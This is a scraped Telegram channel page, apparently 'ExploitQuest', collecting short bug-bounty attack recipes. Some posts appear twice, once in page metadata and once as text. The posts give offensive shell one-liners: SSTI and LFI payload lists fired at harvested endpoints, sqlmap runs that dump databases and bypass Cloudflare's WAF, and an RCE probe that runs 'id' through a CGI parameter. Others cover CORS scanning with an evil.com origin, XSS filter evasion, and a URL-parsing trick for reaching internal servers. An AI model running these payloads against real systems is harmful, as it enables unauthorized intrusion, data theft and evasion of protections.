ExploitQuest
رفتن به کانال در Telegram
6 808
مشترکین
اطلاعاتی وجود ندارد24 ساعت
+97 روز
+12430 روز
آرشیو پست ها
\n\nThe above behavior is often observed in PHP web applications using pspell_suggest().\n\n#web #xss #waf","datePublished":"2025-01-01T08:50:55Z","dateModified":"2025-01-01T08:50:55Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/fa/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/fa/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":885},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":9},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":14}]}},{"@type":"ListItem","position":14,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/fa/channels/1941018014-exploitquest/posts/122","url":"https://telemetr.io/fa/channels/1941018014-exploitquest/posts/122","mainEntityOfPage":"https://telemetr.io/fa/channels/1941018014-exploitquest/posts/122","headline":"🔗 Automate the search for Server-side Template Injection (SSTI) First, save these payloads to a file payloads…","articleBody":"🔗 Automate the search for Server-side Template Injection (SSTI)\n\n First, save these payloads to a file payloads.txt (you can add your own):\n\ncheck-ssti{{7*7}}[[1*1]]\ncheck-ssti{{7*7}}\ncheck-ssti{{7*'7'}}\ncheck-ssti<%= 7 * 7 %>\ncheck-ssti${7*7}\ncheck-ssti${{7*7}}\ncheck-ssti@(7*7)\ncheck-ssti#{7*7}\ncheck-ssti#{ 7 * 7 }\n\n\nThen, using waybackurls we get the endpoints of our site and select the most suitable ones for SSTI using gf:\n\necho target.com | waybackurls | gf ssti | anew -q ssti.txt\nCreate a list of endpoints with the payload as a parameter:\n\ncat payloads.txt | while read -r line; do cat ssti.txt | qsreplace \"$line\" | anew -q sstipatterns.txt; done\nWe run the command to check the server's response for the presence of SSTI:\n\ncat sstipatterns.txt | xargs -P 50 -I@ bash -c \"curl -s -L @ | grep \\\"check-ssti49\\\" && echo -e \\\"[VULNERABLE] - @ \\n \\\"\" | grep \"VULNERABLE\"\n#web #ssti","datePublished":"2025-01-01T08:44:46Z","dateModified":"2025-01-01T08:44:46Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/fa/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/fa/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":882},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":13},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":26}]}},{"@type":"ListItem","position":15,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/fa/channels/1941018014-exploitquest/posts/121","url":"https://telemetr.io/fa/channels/1941018014-exploitquest/posts/121","mainEntityOfPage":"https://telemetr.io/fa/channels/1941018014-exploitquest/posts/121","headline":"📎 Finding web servers vulnerable to CORS attacks The following one-liner can determine if any subdomain of th…","articleBody":"📎 Finding web servers vulnerable to CORS attacks\n \n The following one-liner can determine if any subdomain of the target domain is vulnerable to cross-origin resource sharing (CORS) attacks:\n\nassetfinder fitbit.com | httpx -threads 300 -follow-redirects -silent | rush -j200 'curl -m5 -s -I -H \"Origin: evil.com\" {} | [[ $(grep -c \"evil.com\") -gt 0 ]] && printf \"\\n\\033[0;32m[VUL TO CORS] \\033[0m{}\"' 2>/dev/null\nFor this combination to work, please install the following tools:\n\n https://github.com/tomnomnom/assetfinder\n\n https://github.com/projectdiscovery/httpx\n\nhttps://github.com/shenwei356/rush\n\nHere's what the team does in detail:\n\n Collect subdomains of a target domain (e.g. fitbit.com ). Identifies real (live) subdomains and creates a list of URLs. Checks access to each URL and includes the Origin: evil.com HTTP header in each request. Looks for \" evil.com \" in response headers. If found, outputs the information to the terminal.\n\nIf we see something like the screenshot below, it means that the sites in question have misconfigured their CORS policy and could potentially expose sensitive information to any arbitrary third-party website. This information includes cookies, API keys, CSRF tokens, and other sensitive data.\n\nFor more information about CORS attacks, check out PortSwigger's CORS security guide : \n\nhttps://portswigger.net/web-security/cors\n\n#web #cors","datePublished":"2024-12-31T12:36:30Z","dateModified":"2024-12-31T12:36:30Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/fa/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/fa/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":945},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":17},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":30}]}},{"@type":"ListItem","position":16,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/fa/channels/1941018014-exploitquest/posts/120","url":"https://telemetr.io/fa/channels/1941018014-exploitquest/posts/120","mainEntityOfPage":"https://telemetr.io/fa/channels/1941018014-exploitquest/posts/120","headline":"ExploitQuest","datePublished":"2024-12-31T12:36:00Z","dateModified":"2024-12-31T12:36:00Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/fa/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/fa/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":848},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":9},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":10}]}},{"@type":"ListItem","position":17,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/fa/channels/1941018014-exploitquest/posts/119","url":"https://telemetr.io/fa/channels/1941018014-exploitquest/posts/119","mainEntityOfPage":"https://telemetr.io/fa/channels/1941018014-exploitquest/posts/119","headline":"ExploitQuest","datePublished":"2024-12-30T17:09:08Z","dateModified":"2024-12-30T17:09:08Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/fa/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/fa/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":946},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":8}]}},{"@type":"ListItem","position":18,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/fa/channels/1941018014-exploitquest/posts/118","url":"https://telemetr.io/fa/channels/1941018014-exploitquest/posts/118","mainEntityOfPage":"https://telemetr.io/fa/channels/1941018014-exploitquest/posts/118","headline":"ExploitQuest","datePublished":"2024-12-30T17:06:20Z","dateModified":"2024-12-30T17:06:43Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/fa/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/fa/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1}]}},{"@type":"ListItem","position":19,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/fa/channels/1941018014-exploitquest/posts/117","url":"https://telemetr.io/fa/channels/1941018014-exploitquest/posts/117","mainEntityOfPage":"https://telemetr.io/fa/channels/1941018014-exploitquest/posts/117","headline":"SQL injection bypassing Cloudflare When testing a site, you can bypass Cloudflare's SQL injection protection…","articleBody":"SQL injection bypassing Cloudflare\n\nWhen testing a site, you can bypass Cloudflare's SQL injection protection using sqlmap and a combination of \n\nspace2comment,between,randomcase\n \n\ntamper scripts.\n\n#web #sqli","datePublished":"2024-12-30T13:49:12Z","dateModified":"2024-12-30T13:49:12Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/fa/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/fa/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":964},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":12},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":12}]}},{"@type":"ListItem","position":20,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/fa/channels/1941018014-exploitquest/posts/116","url":"https://telemetr.io/fa/channels/1941018014-exploitquest/posts/116","mainEntityOfPage":"https://telemetr.io/fa/channels/1941018014-exploitquest/posts/116","headline":"🔗 Find hidden parameters for IDOR search When you encounter the following endpoints, try to look for hidden p…","articleBody":"🔗 Find hidden parameters for IDOR search\n\nWhen you encounter the following endpoints, try to look for hidden parameters as there is a high probability of encountering IDOR (Insecure Direct Object Reference):\n\n/settings/profile\n/user/profile\n/user/settings\n/account/settings\n/username\n/profile\n\nTo find hidden parameters you can use Arjun or fuzzparam .\n\nhttps://github.com/0xsapra/fuzzparam\n\nhttps://github.com/s0md3v/Arjun\nBurpsuite has a param-miner extension for this purpose.\nhttps://github.com/PortSwigger/param-miner\n\n#web #IDOR@ExploitQuest","datePublished":"2024-12-30T08:29:56Z","dateModified":"2024-12-30T08:29:56Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/fa/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/fa/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":930},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":5},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":20}]}}]}
6 808
XSS from javascript hidden params
assetfinder target.com | gau | egrep -v '(.css|.svg)' | while read url; do vars=$(curl -s $url | grep -Eo "var [a-zA-Z0-9]+" | sed -e 's,'var','"$url"?',g' -e 's/ //g' | grep -v '.js' | sed 's/.*/&=xss/g'); echo -e "\e[1;33m$url\n\e[1;32m$vars"6 808
Finding Hidden Parameter & Potential XSS with Arjun + KXSS
arjun -q -u target -oT arjun && cat arjun | awk -F'[?&]' '{baseUrl=$1; for(i=2; i<=NF; i++) {split($i, param, "="); print baseUrl "?" param[1] "="}}' | kxss6 808
One liner to find sql Injection
cat subs.txt | (gau || hakrawler || katana || waybckurls) | grep "=" | dedupe | anew tmp-sqli.txt && sqlmap -m tmp-sqli.txt --batch --random-agent --level 5 --risk 3 --dbs &&
for i in $(cat tmp-sqli.txt); do ghauri -u "$i" --level 3 --dbs --current-db --batch --confirm; done6 808
One liner to find RCE
cat targets.txt | httpx -path "/cgi-bin/admin.cgi?Command=sysCommand&Cmd=id" -nc -ports 80,443,8080,8443 -mr "uid=" -silent6 808
Search for Sensitive files from Wayback
waybackurls domain.com| grep - -color -E "1.xls | \\. xml | \\.xlsx | \\.json | \\. pdf | \\.sql | \\. doc| \\.docx | \\. pptx| \\.txt| \\.zip| \\.tar.gz| \\.tgz| \\.bak| \\.7z| \\.rar"6 808
There is a topic called Inconsistency.
Which happens between the checker functions and the libraries sending the http request.
And that's how both the checker functions and the libraries are safe.
But when they work together, they become vulnerable.
For example, in this URL:
https://admin@site.com username: admin Host: site.comBut you are this one:
https://site.com@admin.ir@moha .tld What is Host?It doesn't matter at all what it is now. It's important to say that, for example, parse_url in PHP and curl are the same thing, but this is not the case. For example, you:
curl -v http://user@127.0.0.1:80@www.google.com/x.php Host = 127.0.0.1But parse_url calls this same URL google.com ! And this way, when we use curl, we can access the x.php file, which is on an internal server and does not have a public IP address.
6 808
I want to see the interaction on the posts to know if you are interested or not ☺️.
6 808
📂 Quick website check for simple LFI
We find the list of words to output /etc/passwd and place it in the payloads.txt file.
Then, using waybackurls we get the endpoints of our site and select the most suitable ones for LFI using gf :
echo target.com | waybackurls | gf lfi | anew -q lfi.txtcat payloads.txt | while read -r line; do cat lfi.txt | qsreplace "$line" | anew -q lfipatterns.txt; donecat lfipatterns.txt | xargs -P 50 -I@ bash -c "curl -s -L @ | grep \"root:\" && echo -e \"[VULNERABLE] - @ \n \"" | grep "VULNERABLE"6 808
📑 XSS in applications with automatic error correction
If you see that a web application is trying to guess or fix your search query (e.g. in the search bar) and has a WAF on top of it, use misspelled words to perform XSS and bypass the WAF:
<scrpt>confrm()</scrpt>Will be corrected to:
<script>confirm()</script>The above behavior is often observed in PHP web applications using pspell_suggest(). #web #xss #waf
6 808
🔗 Automate the search for Server-side Template Injection (SSTI)
First, save these payloads to a file payloads.txt (you can add your own):
check-ssti{{7*7}}[[1*1]] check-ssti{{7*7}} check-ssti{{7*'7'}} check-ssti<%= 7 * 7 %> check-ssti${7*7} check-ssti${{7*7}} check-ssti@(7*7) check-ssti#{7*7} check-ssti#{ 7 * 7 }Then, using waybackurls we get the endpoints of our site and select the most suitable ones for SSTI using gf:
echo target.com | waybackurls | gf ssti | anew -q ssti.txtcat payloads.txt | while read -r line; do cat ssti.txt | qsreplace "$line" | anew -q sstipatterns.txt; donecat sstipatterns.txt | xargs -P 50 -I@ bash -c "curl -s -L @ | grep \"check-ssti49\" && echo -e \"[VULNERABLE] - @ \n \"" | grep "VULNERABLE"6 808
📎 Finding web servers vulnerable to CORS attacks
The following one-liner can determine if any subdomain of the target domain is vulnerable to cross-origin resource sharing (CORS) attacks:
assetfinder fitbit.com | httpx -threads 300 -follow-redirects -silent | rush -j200 'curl -m5 -s -I -H "Origin: evil.com" {} | [[ $(grep -c "evil.com") -gt 0 ]] && printf "\n\033[0;32m[VUL TO CORS] \033[0m{}"' 2>/dev/null
6 808
SQL injection bypassing Cloudflare
When testing a site, you can bypass Cloudflare's SQL injection protection using sqlmap and a combination of
space2comment,between,randomcasetamper scripts. #web #sqli
6 808
🔗 Find hidden parameters for IDOR search
When you encounter the following endpoints, try to look for hidden parameters as there is a high probability of encountering IDOR (Insecure Direct Object Reference):
/settings/profile /user/profile /user/settings /account/settings /username /profileTo find hidden parameters you can use Arjun or fuzzparam . https://github.com/0xsapra/fuzzparam https://github.com/s0md3v/Arjun Burpsuite has a param-miner extension for this purpose. https://github.com/PortSwigger/param-miner #web #IDOR@ExploitQuest
